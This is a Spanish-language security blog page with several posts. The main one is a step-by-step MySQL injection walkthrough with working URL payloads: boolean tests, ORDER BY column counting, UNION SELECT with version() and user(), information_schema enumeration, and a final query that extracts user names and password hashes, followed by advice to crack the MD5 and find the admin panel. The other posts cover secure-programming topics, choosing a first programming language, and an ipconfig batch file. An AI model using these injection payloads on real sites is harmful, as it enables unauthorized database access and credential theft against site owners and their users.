Mysql inyeccion(Reseña)

3

Posted by W4rning | Posted in | Posted on 9:01

Unas palabras antes de comenzar....esto va confines educativos no me hago responsables de lo que hagan ustedes saben lo que hacen solo dire esto no hagan daño a nadie le gustaria que le borraran todo de su web o db...respeten al final de este Post dejare unos link mas sobre este tema y como prevenirlos.
------------------------------------------------------------------------------------------------
Inyección SQL es una vulnerabilidad informática en el nivel de la validación de las entradas a la base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté incrustado dentro de otro.

Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el código "invasor" en la base de datos.

Fuente: http://es.wikipedia.org/wiki/Inyecci%C3%B3n_SQL

La lista de aplicaciones vulnerables a SQL injection es extensa, incluyendo tales como PHPNuke, PhpMyadmin, Moodle, WordPress, vBulletin, PhpBB, XOOPS, PostNuke... y muchas más.

Antes que nada este no es un tutorial completo ni nada por el estilo solo es una pequeña reseña de lo aprendido =)

Empezemos:

diferencia entre GET y POST: envía los datos usando la URL, el método POST los envía por la entrada estándar STDIO.

Ejemplo GET utilizando un formulario:

http://www.mihosting.com/formulario/procesa2.phtml?nombre=+df&apellidos=cv

ejemplo de POST utilizando un formulario: http://www.mihosting.com/formulario/procesa2.phtml

------------------------------------------------------------------------------------------------
se pasa la variable cont con el valor 22 en ese caso verdad.normalmente los sistemas de noticias usan bases de datos y por eso es lo primero que testeamos pero este no es el caso el mio fue en sistema de Producto xD ..

PD: solo parte de la url se mostrara :P



http://pagina.com/ejemplo?cont=22&item=5

3 opciones:

1-el valor de cont es el que se busca en la base de datos

2-el de item

3-ambos

si buscara alguno de ellos la consulta a la base de datos seria algo asi

SELECT producto FROM productos WHERE producto;

si ponemos http://pagina.com/ejemplo?cont=22&item=5

SELECT productoFROM productos WHERE item='22';

http://pagina.com/ejemplo?cont=22&item=6

SELECT producto FROM productos WHERE item='6';

si modificas el parametro modificas la consulta


http://pagina.com/ejemplo?cont=22&item=5+and+1=1--

Como seria la consulta?

SELECT producto FROM productos WHERE item='5'+and+1=1--';

lo que metes en la URL se incrusta en el codigo entonces la consulta dice:

selecciona una noticia desde noticias, pero saca la noticia que cumpla esta condicion (where) item=5 y pregunta (and) si 1=1 y eso siempre es verdadero no? seria una consulta correcta

ahora intentemos en vez de 1=1 ..pongamos 1=0

eso seria falso y no deberia realizar correctamente la consulta

Antes de seguir deja hacer una aclarion: si hacemos una consulta falsa y no envia ningun error ..se queda igual quiere decir que la variable no es vulnerable


http://pagina.com/ejemplo?cont=22&item=5+and+1=1--

















Muestra exactamente lo mismo verdad? :)

http://pagina.com/ejemplo?cont=22&item=5+and+1=0--












muestra en blanco y un error

ahora debemos usar la sentencia ORDER BY para averiguar la cantidad de campos usados por la consulta para mostrar informacion en la pagina web esto seria asi


http://pagina.com/ejemplo?cont=22&item=5+and+1=0+order+by+9999













PD:mira cuando haces el order by con un numero grande obtendras cierta cantidad de errores en este caso dos mysql_fetch_array en las lineas 13 y 17 ahora lo que sigue es disminuir el order by hasta k el error cambie

http://pagina.com/ejemplo?cont=22&item=5+and+1=0+order+by+9999

Lo mismo
http://pagina.com/ejemplo?cont=22&item=5+and+1=0+order+by+45
Lo mismo
http://pagina.com/ejemplo?cont=22&item=5+and+1=0+order+by+10
Lo mismo
http://pagina.com/ejemplo?cont=22&item=5+and+1=0+order+by+5
espera..:) hay que paso??!












solo basta con que sea distinto bueno ahora en 10 no cambiaba(en mi caso)en 5 cambia el numerito que buscamos esta entre 5 y 10 ahora tenes k aumentar el 5 hasta k nos de error el mismo error de antes en mi caso es el 7

http://pagina.com/ejemplo?cont=22&item=5+and+1=0+order+by+7

cualquier numero menor a 7 da un error el mayor es 5 (PD: en mi caso)

entonces ese era el numero que buscabamos ahora que tenemos ese numerito podemos hacer el siguiente paso que es el UNION SELECT que hace union select? une todos los campos que le digas en una sola consulta y los muestra en pantalla

http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,3,4,5+--


















Sustituimos nuestro anterior order by por el union select lo que acabamos de hacer fue averiguar el nº de campos que usa la db(DATA BASE) para mostrar info en pantalla

ahoa veremos algo curioso...esos numeros...5 y 3? :)

siempre e tenido preferencia mas por el numero 7 xD pero como no es el caso me gusta mas el 3 que el 5 =)

veamos la version de mysql que usa el servidor para eso utilizamos version()

http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,version(),4,5+--




















5.0.45-community-nt

tambien se puede usar la funcion user()

http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,user(),4,5+--

hay mostraria el usuario que tiene poder en la DB el cual no mostrare en mi caso.nosotros buscamos alguien que tenga poder un usuario dentro de la DB ....saben quien?? el Admin :) aunque puede ser alguien importante en fin continuamos :)

PD: desde la version 5.0.2 existe informacion schema la cual es una tabla de base de datos por la que es facil inyectar.

funcion CONCAT()...sirve para concatenar


http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,concat(1232323),4,5+--

















lo que le pongas lo muestra en pantalla

Ahora vamos por las tablas..concatenamos(mostramos) table_name el nombre de la tabla y de la sacamos de donde? de information_schema tables osea de las tablas


http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,concat(table_name),4,5+from+information_schema.tables

















para mas informacion sobre informacion_shema.table

http://carlostech.blogspot.com/2007/03/information-schema-sql.html

http://en.wikipedia.org/wiki/Information_schema

existe una variante de concat que es nada mas y nada menos que group_concat() concatena 1024 caracteres osea miestras tenga espacio mostrara info
















PD: eso es solo una pequeña parte de las tablas que me salieron :P

Ahora lo que hay que busar son nombre como ´´root´´ ´´usuarios´´ ´´admin´´ ...algo asi









ahora necesitamos las columnas de esa tabla (usuarios) eso lo sacamos de la sig forma

http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,concat(table_name),4,5+from+information_schema.colum+where+table_name=tabla en hexadecimal


tenemos que transformar la tabla a hexadecimal nesistamos un covertidor de Texto a hexadecimal yo uso 2 paginas :P

http://www.canfieldstudios.com/flashmx/asc2hex/index.html
o
http://www.string-functions.com/string-hex.aspx

usuarios = 7573756172696f73 le tenemos que agregar al principio 0x que seria:

0x7573756172696f73

ahora la inyeccion quedaria:

http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,concat(table_name),4,5+from+information_schema.colum+where+table_name=0x7573756172696f73

















Hay tenemos la columnas de esa tabla...Shang! D:

Ahora demos el toque final ^^

http://pagina.com/ejemplo/?cont=22&item=5+and+1=0+UNION+SELECT+1,2,group_concat(id,user,pass,nombre),4,5+from+usuarios--

No mostrare los datos del admin de esa web no pienso mostrar tanto el user ni el pass encriptado en md5

ya el ultimo paso seria desencriptar el MD5 y luego buscar el panel control ^^






















eso a sido todo ahora unos link mas sobre sql inyeccion y como prevenirlo:

Sql inyeccion:

http://www.hernanracciatti.com.ar/research/papers/sqlinjection.pdf

http://www.milw0rm.com/papers/216 (recomendado)

http://www.milw0rm.com/papers/197

Como prevenir estos ataques(siempre habran bugs...):

http://www.dotnetpuebla.com/portal/Publicaciones/Articulos/848.aspx

http://labajaenred.com/evitar-ataques-sql-injection-con-greensql-firewall/

http://www.sqlmag.com/articles/index.cfm?articleid=42216&(Ingles)


Programacion Segura

0

Posted by W4rning | Posted in | Posted on 22:31

Contenido
Transparencias (en pdf)
Transparencias de Fernando Tricas

* Introducción
* Tema I: Gestión del riesgo
* Tema II: Seleccionando tecnologías
* Tema III ¿Qué hacemos con el código fuente?
* Tema IV: Principios básicos
* Tema V: Control de acceso
* Tema VI: Condiciones de carrera
* Tema VII: Autentificación con clave
* Tema VIII: Aleatoriedad y determinismo
* Tema IX: Criptografía
* Tema X: Desbordamientos de memoria
* Tema XI: Gestión de la confianza y validación de entradas
* Tema XII: Seguridad en bases de datos
* Tema XIII: Seguridad en el lado del cliente
* Tema XIV: Auditoría de programas
* Tema XV: En la web
* Tema XVI: Algunos lenguajes
* Conclusiones

Link

Qué lenguaje de programación aprender primero?

0

Posted by W4rning | Posted in | Posted on 22:29

Para comenzar, no existe un lenguaje de programación para iniciarse en programación, la programación se comienza sobre un papel, haciendo algoritmos. Claro que para ver si los algoritmos funcionan puede ser más cómodo utilizar un lenguaje de programación. En este caso lo único que recomiendo es utilizar un lenguaje simple que no sea orientado a objetos, ni gráfico. Una buena elección puede ser Basic, Pascal, Python y sobretodo la sintaxis de estos últimos será de mayor utilidad más adelante. Pero no deberiamos excluir ningun lenguaje ya que incluso el lenguaje de una calculadora puede ser suficiente para probar algoritmos simples. También, es bueno tener una idea de los tipos de lenguaje, de lo que es un compilador y otras cosas generales. (http://es.kioskea.net/langages/langages.php3).

A estas alturas, ya tenemos algunas bases para comenzar a programar…algo más, no hay que programar por programar, hay que tener un objetivo, una idea, la necesidad de crear un programa. Aquí, yo nada puedo hacer por ti, esto está en función de tus gustos, conocimientos,..y ahora debemos tomar las primeras decisiones técnicas:
¿Lenguaje orientado a objetos?
¿Multiplataforma?
¿Con máquina virtual?
¿Interfaz usuario?
¿Acceso a una base de datos? ¿Si es así, cuál?

Una vez que hayas respondido a estas interrogantes, el número de lenguajes de programación será más reducido.

A continuación vamos a ver los lenguajes de programación que mayormente son recomendados para iniciarse en programación, teniendo en cuenta el punto de vista del aprendizaje.

Nota: existe también un medio muy lúdico para descubrir la programación: KPL.
KPL significa Kid's Programming Language (la página web: http://phrogram.com/kpl.aspx).

Interfaz impecable (colores, sonido, grafismo) y un aprendizaje de la programación orientada a la concepción de juegos. La idea es: aprender divirtiéndose. Si realmente no sabes nada de nada en informática ni programación, éste puede ser la puerta de entrada. Del mismo modo, éste es un medio para que aprendan los niños. Este programa es un freeware y no está limitado a los juegos, y por supuesto, la página es multilenguaje (inglés, portugués, francés y algunas lenguas nórdicas), al igual que el programa. En cuanto al lenguaje, éste utiliza los términos comúnmente empleados en otros lenguajes: Begin, End, Main, False, True, etc.

Los lenguajes de programación que podemos utilizar


Delphi/Pascal


Una buena solución, los compiladores y entornos de desarrollo se encuentra gratuitamente (bajo ciertas condiciones). Podemos comenzar haciendo pequeños programas en el Shell de Pascal y luego podemos pasar (después de haber aprendido la noción de objeto) a cosas más potentes con entornos gráficos gracias a Delphi (y Kylix bajo Linux). El lenguaje es relativamente intuitivo y riguroso, la creación de interfaz gráfica es simple, rápidamente podemos sentirnos a gusto.
La portabilidad es mediocre pero existe hacia algunas plataformas (Kylix…)

Para aprender Pascal
http://www.programacionfacil.com/programacion:manual_pascal
Página oficial Delphi (Inglés): http://www.codegear.com/en/products/delphi
Desacargar Free Pascal

Java


Lenguaje orientado a objetos, muy portable, sintaxis utilizada también para los scripts de Internet (la sintaxis, no el lenguaje…). Existen gran cantidad de entornos de desarrollo gratuitos en la web: no hay más que elegir en función de nuestros gustos, sin embargo, no tiene la facilidad de Delphi en lo que respecta a la interfaz gráfica. Este es un lenguaje de “última generación” que dará una experiencia interesante a los que deseen trabajar en informática.

Para aprender Java: http://www.manual-java.com/
Lo siento, no tengo más enlaces, no dudes en añadirlos si conoces buenos

Python


Simple, rápido, crea buenas costumbres de programación, ligero (tanto así que pasar a otro lenguaje después se hace pesado), abierto, gran cantidad de documentación en Internet. Este nos permite rápidamente entrar en acción, ya sea creando scripts potentes (gracias a la programación orientada a objetos) u otras cosas. Es también de “ultima generación” y portable. Funciona con una máquina virtual que puede ser empaquetada gracias a algunas clases disponibles en la web (se encuentran de todo tipo y para todos los fines…) en un exe para distribuir la aplicación de manera simple e independiente.

Página oficial de Python (en inglés): http://www.python.org/
Guía de aprendizaje de Python: http://www.programacion.com/tutorial/python/

.Net


Es el futuro según Microsoft, hay cosas buenas y malas en esta plataforma pero permite programar aplicaciones gráficas de manera simple, sólo corre en Windows y con algunas adaptaciones en Linux. Yo recomendaría C# que es el lenguaje “nativo” de esta plataforma: su sintaxis muy similar a la de C y Java, no hay punteros, todo se hace en un nivel de abstracción superior a los antiguos lenguajes de Microsoft. Se compara a Java y a Python, excepto que no es libre.

Un entorno de desarrollo gratuito y Open source para .Net: http://www.icsharpcode.net/OpenSource/SD/

Smalltalk


Para mí el lenguaje orientado a objetos por excelencia. Gratuito, sintaxis simple, impone un rigor sin igual en la programación orientada a objetos. Desgraciadamente no es muy utilizado, es raro encontrar un empleo con éste, pero da una referencia solida, y con cosas como Squeak permiten hacer gran cantidad de cosa con él.

Squeak: http://www.squeak.org/
Tutorial Dolphin Smalltalk: http://www.dolphinmap.net/wiki/Documentation

Los que podemos utilizar en última instancia


C/C++


Estos son buenos lenguajes, pero con una sintaxis complicada que no facilita su aprendizaje. Además el uso de punteros hace que su uso, incluso para los profesionales, sea complicado. La ventaja es que estos lenguajes pueden ser utilizados en diversas plataformas (después de compilación) y que, una vez dominados, hacen que los otros parezcan simples. Estos lenguajes son aún muy utilizados en el mundo profesional. Utilízalo si se deseas hacer de la informática tu profesión.

Para aprender C: http://sopa.dis.ulpgc.es/so/cpp/intro_c/
Para aprender C++: http://zator.com/Cpp/E1_2.htm
Página de Borland C++: http://www.codegear.com/en/products/cppbuilder

PHP


Un lenguaje inicialmente previsto para el desarrollo de páginas web dinámicas. Su sintaxis es muy similar a la de C++. PHP es bastante simple de abordar y permite conectarse fácilmente a una base de datos. Para desarrollar páginas web dinámicas, se requiere también un buen conocimiento de Html y eventualmente de Sql si se necesita una base de datos.
Permite ver rápidamente el trabajo, poniéndolo en línea, y de este modo tener los comentarios/sugerencias de los internautas.
También podemos desarrollar otras aplicaciones que no sean para la web con este lenguaje.
Podemos programar de manera procedural u orientada a objetos, a nuestra elección.
Es un buen lenguaje pero no necesariamente el mejor para aprender. Es potente y permisivo pero con el riesgo de aprender malas costumbres. Especialmente en lo que respecta a las páginas web, éste no influye para que se programe con propiedad desde el inicio.
Si buscas un lenguaje que sea fácil de aprender, que te permita aprender la programación orientada a objetos, y que te deje buenas costumbres de programación, entonces elije mas bien un lenguaje como Python.

Para aprender PHP: http://geneura.ugr.es/~maribel/php/
Página oficial: http://www.php.net/

Ada


Lenguaje aún utilizado en la programación de sistemas de tiempo real. Es fácil de aprender pero es recomendado sobretodo para los futuros informáticos, si no, no hay mucho interés. Es mejor pasar a Ada solamente con el objetivo del “tiempo real” ya que tiende a desaparecer.

Para aprender Ada: http://www.wikilearning.com/curso_gratis/curso_de_ada-introduccion/10578-1
Lo siento, no tengo más enlaces, no dudes en añadirlos si conoces buenos

Lisp/Caml/...


Los lenguajes funcionales son numerosos, están clasificados en dos grandes familias: los puros (haskell) y los no puros (familia lisp). A la vez la familia de los puros están clasificados en dos: los verdaderamente puros, sin efecto efecto secundario (familia haskell) y la familia ML (Caml,SML,...). La manera de programar es totalmente diferente con relación a los otros lenguajes. La programación funcional es otra manera de ver un programa y eso no impide por ejemplo tener un lenguaje funcional y orientado a objetos (scala por ejemplo) o incluso un lenguaje funcional que asocie imperativo/orientado a objetos/funcional (Ocaml). Conocer uno de estos permite tener buenas bases y permitirá también a las personas más orientadas a las matemáticas pasarse suavemente a la informática. Estos por lo general son utilizados en análisis numérico o en inteligencia artificial (pero es sólo a causa de su origen). Podemos utilizarlos para programar todo lo que se puede programar con otros lenguajes (la comunidad commonlisp es muy activa)

http://fr.wikipedia.org/wiki/Common_Lisp
http://www.paulgraham.com/onlisp.html
http://www.scala-lang.org/index.html

Los que no podemos utilizar


(x)HTML/CSS


Voy a ser breve, escribir una página web o un sitio web en HTML es a la programación lo que beber un vaso de agua es al alcoholismo. Aquí se trata de presentar un documento, no de programar, y no porque se agregan algunos scripts esto cambia gran cosa.

Para aprender HTML: http://es.kioskea.net/html/htmlintro.php3
Para aprender DHTML: http://www.programacion.net/html/dinamico/tutorial/principal.htm

Perl


Seamos claros, este lenguaje aparentemente simple no es en lo absoluto adaptado al aprendizaje de la programación. Su flexibilidad y potencia pueden hacer que adquieras malas costumbres de programación e incluso te pueden desalentar por los errores que se están autorizados a cometer. Es mejor comenzar aprendiendo un lenguaje riguroso, para luego explotar al máximo Perl.

Para aprender Perl: http://www.wikilearning.com/...

Visual Basic/Basic: D


Los profesionales que han trabajado con él lo desaconsejan. Este crea malas costumbres de programación (no es necesaria la declaración de variables, ninguna noción de valor/referencia, tentativa fracasada de programar con objetos,…), y además Microsoft (se trata de un lenguaje propietario) lo ha abandonado para privilegiar a Framework.Net. Para terminar, no existe ninguna versión gratuita, por lo tanto necesariamente hay que pagar. El sólo punto positivo que le reconocería es su lado lúdico y la facilidad de hacer interfaces gráficas para Windows (algo que olvidaba, tampoco es portable…), pero no es el único, si es el que te interesa, más bien inclínate hacia Delphi o .Net.
El caso de Basic es más o menos el mismo, existen compiladores gratuitos, pero se trata de un lenguaje obsoleto que no es ni rápido, ni portable, ni orientado a objetos, ni riguroso. Inclínate por Pascal que te permitirá luego evolucionar hacia Delphi.

Para aprender Visual Basic: http://www.lopezdearenas.com/informatica/curso-vb.pdf

Para los matemáticos, pueden intentar los lenguajes de sistemas de gestión de pruebas. Por el momento, su potencia es limitada pero se espera que se desarrollen con el tiempo. Por el momento los que más sobresalen son la familia ML o Haskel. Para Ocaml, tenemos a Coq. Los paradigmas están basados en la lógica.

Para aprender Coq: http://coq.inria.fr/ (en inglés)


Un consejo, es muy común en el mundo de la programación tener que leer artículos en ingles, por lo que aprenderemos a programar en mejores condiciones si podemos leer en inglés o mejor aun si lo podemos escribir. (para hacer preguntas en los foros especializados…).

Bueno, espero que haya sido lo más completo posible.
-------------------------------

Puedes encontrar muchos compiladores gratuitos para diferentes lenguajes en esta dirección:
http://www.thefreecountry.com/

PD: Iniciarse en programación, es también estar confrontado a una espinosa cuestión: ¿Pero por qué mi programa no corre? Los mensajes de error mostrados (o no) por los entornos de compilación o de ejecución (o el comportamiento de los dos) a veces sumergen al principiante en una confusión total que puede volverse exasperante. Un buen método es dar el código a alguien con experiencia para que lo lea primero, y/o explicar a otra persona el problema. A veces decir en voz alta nuestro razonamiento nos pondrá en la vía correcta. Finalmente la capacidad a programar (bien) va (a menudo) de la par con la de abstraerse de este mundo material en el cual nos encontramos sumergidos. Bienvenido al mundo donde nada es realmente concreto.

Si te gusta demasiado la programación, quizás soñaras con ella… Entonces ten en ese momento un papel y un lápiz (el arma de todo informático) en el velador, toma nota de las soluciones que te vienen a la mente y pruébalas por la mañana.

Fuente: http://es.kioskea.net/faq/sujet-540-que-lenguaje-de-programacion-aprender-primero

PD: El artículo original fue escrito por teebo contribuidor de CommentCaMarche

Cambiar Nuestra IP

0

Posted by W4rning | Posted in | Posted on 22:19

Bueno, hoy les voy a enseñar un truco que pues primero deben saber solo funciona con IPs Dinamicas, muy fácil vamos a nuestro escritorio (windows) y vamos a abrir un bloc de notas.

Dentro del Blog de notas u otro editor de texto plano Vamos a Escribir el siguien código:


cd/
cls
ipconfig /flushdns
ipconfig /release
ipconfig /renew
exit


Luego muy fácil lo guardamos como extención .bat con el nombre ip-change (el nombre puede cambiar como ustedes quieran lo mio era un ejemplo) luego simplemente tenemos que dar click derecho en nuestro escritorio poner actualizar e ir a una web como http://ip-adress.com y verificar que nuestra IP se ha renovado, esto es el mismo efecto que mucha gente consigue cuando apaga y prende su modem.

Estrenando Blog

0

Posted by W4rning | Posted in | Posted on 19:59

wenas a todos :) bienvenidos al Blog de B.R. 13 Team (Backdoor Room 13 Team) dedicado al ambito informatico

Os espero que sea de su agrado total cualquier sugerencia contactarme a: w4rning.security@gmail.com

salu2
------
Byt3z